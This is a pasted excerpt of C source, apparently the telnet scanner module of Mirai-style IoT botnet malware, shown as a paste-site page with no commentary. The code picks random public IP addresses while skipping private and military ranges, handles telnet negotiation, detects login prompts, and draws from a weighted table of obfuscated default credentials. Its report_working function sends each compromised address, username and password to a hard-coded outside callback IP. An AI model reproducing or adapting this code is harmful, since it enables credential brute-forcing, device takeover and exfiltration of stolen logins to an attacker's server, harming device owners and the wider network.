  764.                         default:
  765.                             consumed = 0;
  766.                             break;
  767.                         }
  768.  
  769.                         // If no data was consumed, move on
  770.                         if (consumed == 0)
  771.                             break;
  772.                         else
  773.                         {
  774.                             if (consumed > conn->rdbuf_pos)
  775.                                 consumed = conn->rdbuf_pos;
  776.  
  777.                             conn->rdbuf_pos -= consumed;
  778.                             memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
  779.                         }
  780.                     }
  781.                 }
  782.             }
  783.         }
  784.     }
  785. }
  786.  
  787. void scanner_kill(void)
  788. {
  789.     kill(scanner_pid, 9);
  790. }
  791.  
  792. static void setup_connection(struct scanner_connection *conn)
  793. {
  794.     struct sockaddr_in addr = {0};
  795.  
  796.     if (conn->fd != -1)
  797.         close(conn->fd);
  798.     if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  799.     {
  800. #ifdef DEBUG
  801.         printf("[scanner] Failed to call socket()\n");
  802. #endif
  803.         return;
  804.     }
  805.  
  806.     conn->rdbuf_pos = 0;
  807.     util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  808.  
  809.     fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
  810.  
  811.     addr.sin_family = AF_INET;
  812.     addr.sin_addr.s_addr = conn->dst_addr;
  813.     addr.sin_port = conn->dst_port;
  814.  
  815.     conn->last_recv = fake_time;
  816.     conn->state = SC_CONNECTING;
  817.     connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
  818. }
  819.  
  820. static ipv4_t get_random_ip(void)
  821. {
  822.     uint32_t tmp;
  823.     uint8_t o1, o2, o3, o4;
  824.  
  825.     do
  826.     {
  827.         tmp = rand_next();
  828.  
  829.         o1 = tmp & 0xff;
  830.         o2 = (tmp >> 8) & 0xff;
  831.         o3 = (tmp >> 16) & 0xff;
  832.         o4 = (tmp >> 24) & 0xff;
  833.     }
  834.     while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
  835.           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
  836.           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
  837.           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
  838.           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
  839.           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
  840.           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
  841.           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  842.           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  843.           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  844.           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
  845.           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
  846.           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  847.     );
  848.  
  849.     return INET_ADDR(o1,o2,o3,o4);
  850. }
  851.  
  852. static int consume_iacs(struct scanner_connection *conn)
  853. {
  854.     int consumed = 0;
  855.     uint8_t *ptr = conn->rdbuf;
  856.  
  857.     while (consumed < conn->rdbuf_pos)
  858.     {
  859.         int i;
  860.  
  861.         if (*ptr != 0xff)
  862.             break;
  863.         else if (*ptr == 0xff)
  864.         {
  865.             if (!can_consume(conn, ptr, 1))
  866.                 break;
  867.             if (ptr[1] == 0xff)
  868.             {
  869.                 ptr += 2;
  870.                 consumed += 2;
  871.                 continue;
  872.             }
  873.             else if (ptr[1] == 0xfd)
  874.             {
  875.                 uint8_t tmp1[3] = {255, 251, 31};
  876.                 uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
  877.  
  878.                 if (!can_consume(conn, ptr, 2))
  879.                     break;
  880.                 if (ptr[2] != 31)
  881.                     goto iac_wont;
  882.  
  883.                 ptr += 3;
  884.                 consumed += 3;
  885.  
  886.                 send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
  887.                 send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
  888.             }
  889.             else
  890.             {
  891.                 iac_wont:
  892.  
  893.                 if (!can_consume(conn, ptr, 2))
  894.                     break;
  895.  
  896.                 for (i = 0; i < 3; i++)
  897.                 {
  898.                     if (ptr[i] == 0xfd)
  899.                         ptr[i] = 0xfc;
  900.                     else if (ptr[i] == 0xfb)
  901.                         ptr[i] = 0xfd;
  902.                 }
  903.  
  904.                 send(conn->fd, ptr, 3, MSG_NOSIGNAL);
  905.                 ptr += 3;
  906.                 consumed += 3;
  907.             }
  908.         }
  909.     }
  910.  
  911.     return consumed;
  912. }
  913.  
  914. static int consume_any_prompt(struct scanner_connection *conn)
  915. {
  916.     char *pch;
  917.     int i, prompt_ending = -1;
  918.  
  919.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  920.     {
  921.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
  922.         {
  923.             prompt_ending = i + 1;
  924.             break;
  925.         }
  926.     }
  927.  
  928.     if (prompt_ending == -1)
  929.         return 0;
  930.     else
  931.         return prompt_ending;
  932. }
  933.  
  934. static int consume_user_prompt(struct scanner_connection *conn)
  935. {
  936.     char *pch;
  937.     int i, prompt_ending = -1;
  938.  
  939.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  940.     {
  941.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
  942.         {
  943.             prompt_ending = i + 1;
  944.             break;
  945.         }
  946.     }
  947.  
  948.     if (prompt_ending == -1)
  949.     {
  950.         int tmp, len;
  951.         char *ogin, *enter;
  952.        
  953.         table_unlock_val(TABLE_SCAN_OGIN);
  954.         table_unlock_val(TABLE_SCAN_ENTER);
  955.        
  956.         ogin = table_retrieve_val(TABLE_SCAN_OGIN, &len);
  957.         enter = table_retrieve_val(TABLE_SCAN_ENTER, &len);
  958.        
  959.         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, ogin, len - 1) != -1))
  960.             prompt_ending = tmp;
  961.        
  962.         else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, enter, len - 1) != -1))
  963.             prompt_ending = tmp;
  964.        
  965.     }
  966.         table_lock_val(TABLE_SCAN_OGIN);
  967.         table_lock_val(TABLE_SCAN_ENTER);
  968.        
  969.     if (prompt_ending == -1)
  970.         return 0;
  971.     else
  972.         return prompt_ending;
  973. }
  974.  
  975. static int consume_pass_prompt(struct scanner_connection *conn)
  976. {
  977.     char *pch;
  978.     int i, prompt_ending = -1;
  979.  
  980.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  981.     {
  982.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
  983.         {
  984.             prompt_ending = i + 1;
  985.             break;
  986.         }
  987.     }
  988.  
  989.     if (prompt_ending == -1)
  990.     {
  991.         int tmp, len;
  992.         char *assword;
  993.        
  994.         table_unlock_val(TABLE_SCAN_ASSWORD);
  995.        
  996.         assword = table_retrieve_val(TABLE_SCAN_ASSWORD, &len);
  997.        
  998.         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, assword, len - 1) != -1))
  999.             prompt_ending = tmp;
  1000.     }
  1001.         table_lock_val(TABLE_SCAN_ASSWORD);
  1002.        
  1003.     if (prompt_ending == -1)
  1004.         return 0;
  1005.     else
  1006.         return prompt_ending;
  1007. }
  1008.  
  1009. static int consume_resp_prompt(struct scanner_connection *conn)
  1010. {
  1011.     char *tkn_resp;
  1012.     int prompt_ending, len;
  1013.  
  1014.     table_unlock_val(TABLE_SCAN_NCORRECT);
  1015.     tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
  1016.     if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
  1017.     {
  1018.         table_lock_val(TABLE_SCAN_NCORRECT);
  1019.         return -1;
  1020.     }
  1021.     table_lock_val(TABLE_SCAN_NCORRECT);
  1022.  
  1023.     table_unlock_val(TABLE_SCAN_RESP);
  1024.     tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
  1025.     prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
  1026.     table_lock_val(TABLE_SCAN_RESP);
  1027.  
  1028.     if (prompt_ending == -1)
  1029.         return 0;
  1030.     else
  1031.         return prompt_ending;
  1032. }
  1033.  
  1034. static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
  1035. {
  1036.     int tmp;
  1037.  
  1038.     auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
  1039.     auth_table[auth_table_len].username = deobf(enc_user, &tmp);
  1040.     auth_table[auth_table_len].username_len = (uint8_t)tmp;
  1041.     auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
  1042.     auth_table[auth_table_len].password_len = (uint8_t)tmp;
  1043.     auth_table[auth_table_len].weight_min = auth_table_max_weight;
  1044.     auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
  1045.     auth_table_max_weight += weight;
  1046. }
  1047.  
  1048. static struct scanner_auth *random_auth_entry(void)
  1049. {
  1050.     int i;
  1051.     uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
  1052.  
  1053.     for (i = 0; i < auth_table_len; i++)
  1054.     {
  1055.         if (r < auth_table[i].weight_min)
  1056.             continue;
  1057.         else if (r < auth_table[i].weight_max)
  1058.             return &auth_table[i];
  1059.     }
  1060.  
  1061.     return NULL;
  1062. }
  1063.  
  1064. static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
  1065. {
  1066.     struct sockaddr_in addr;
  1067.     int pid = fork(), fd;
  1068.  
  1069.     if (pid > 0 || pid == -1)
  1070.         return;
  1071.  
  1072.     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  1073.     {
  1074. #ifdef DEBUG
  1075.         printf("[report] Failed to call socket()\n");
  1076. #endif
  1077.         exit(0);
  1078.     }
  1079.    
  1080.     table_unlock_val(TABLE_SCAN_CB_PORT);
  1081.     addr.sin_family = AF_INET;
  1082.     addr.sin_addr.s_addr = INET_ADDR(188,166,10,106);
  1083.     addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
  1084.     table_lock_val(TABLE_SCAN_CB_PORT);
  1085.  
  1086.     if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
  1087.     {
  1088. #ifdef DEBUG
  1089.         printf("[report] Failed to connect to scanner callback!\n");
  1090. #endif
  1091.         close(fd);
  1092.         exit(0);
  1093.     }
  1094.  
  1095.     uint8_t zero = 0;
  1096.     send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
  1097.     send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
  1098.     send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
  1099.     send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
  1100.     send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
  1101.     send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
  1102.     send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
  1103.  
  1104. #ifdef DEBUG
  1105.     printf("[report] Send scan result to loader\n");
  1106. #endif
  1107.  
  1108.     close(fd);
  1109.     exit(0);
  1110. }
  1111.  
  1112. static char *deobf(char *str, int *len)
  1113. {
  1114.     int i;
  1115.     char *cpy;
  1116.  
  1117.     *len = util_strlen(str);
  1118.     cpy = malloc(*len + 1);
  1119.  
  1120.     util_memcpy(cpy, str, *len + 1);
  1121.  
  1122.     for (i = 0; i < *len; i++)
  1123.     {
  1124.         cpy[i] ^= 0x00;
  1125.         cpy[i] ^= 0x00;
  1126.         cpy[i] ^= 0x00;
  1127.         cpy[i] ^= 0x00;
  1128.     }
  1129.  
  1130.     return cpy;
  1131. }
  1132.  
  1133. static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
  1134. {
  1135.     uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
  1136.  
  1137.     return ptr + amount < end;
  1138. }
  1139.  
  1140. #endif
Advertisement
Add Comment
Please, Sign In to add comment